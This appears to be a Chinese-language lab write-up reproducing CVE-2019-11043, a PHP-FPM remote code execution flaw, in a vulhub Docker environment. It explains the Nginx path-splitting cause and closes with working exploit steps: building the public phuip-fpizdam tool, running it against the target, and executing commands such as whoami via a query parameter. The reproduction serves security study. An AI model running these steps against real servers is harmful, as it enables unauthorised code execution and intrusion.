CVE-2019-11043PHP-FPM远程RCE复现
使用vulhub搭建环境
docker-compose up -d |
前置内容
PHP-FPM(PHP FastCGI Process Manager)意:PHP FastCGI 进程管理器,用于管理PHP 进程池的软件,用于接受web服务器的请求。
PHP-FPM提供了更好的PHP进程管理方式,可以有效控制内存和进程、可以平滑重载PHP配置。
CGI(Common Gateway Interface)是一种通用网关接口,是 Web 服务器与外部程序(通常是脚本)之间进行交互的一种标准。它允许 Web 服务器动态生成网页内容,并将内容发送给客户端浏览器。CGI 脚本可以使用各种编程语言编写,如 Perl、Python、PHP、Ruby 等,它们被称为 CGI 脚本语言。这些脚本语言与 Web 服务器之间的交互遵循 CGI 协议的标准,以实现动态生成网页内容的功能
相较于传统的 CGI,FastCGI 提供了更高的性能和更好的扩展性
漏洞成因
nginx.conf文件中的配置
fastcgi_split_path_info ^(.+?\.php)(/.*)$; |
fastcgi_split_path_info
函数会根据提供的正则表表达式, 将请求的URL(不包括?之后的参数部分),分割为两个部分,分别赋值给变量 $fastcgi_script_name
和 $fastcgi_path_info
。
由于/index.php/test%0atest
无法被正则表达式 ^(.+?\.php)(/.*)$
分割为两个部分,所以nginx传给php-fpm的变量中 SCRIPT_NAME
为 /index.php/test\ntest
, PATH_INFO
为空
在index.php后追加一句
echo $_SERVER["PATH_INFO"]; |
然后重新构建镜像
docker-compose down |
访问容器中的8080端口
访问/index.php/test
[root@target www]# curl http://localhost:8080/index.php/test |
后面的poc编写涉及到二进制
https://xz.aliyun.com/t/6672?time__1311=n4%2BxnD0DRDBGitG8Duexlhje0%3Dea%2Bx0KeqKpox
影响范围
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
- PHP 7.0 版本
- PHP 7.1 版本
- PHP 7.2 版本
- PHP 7.3 版本
Exploit
git clone https://github.com/neex/phuip-fpizdam.git cd phuip-fpizdam go get -v && go build |
go run . "http://localhost:8080/index.php" |
然后可以进行RCE
curl "http://localhost:8080/index.php?a=whoami" |
但是因为只有部分PHP-FPM进程收到污染,所以要多尝试几次curl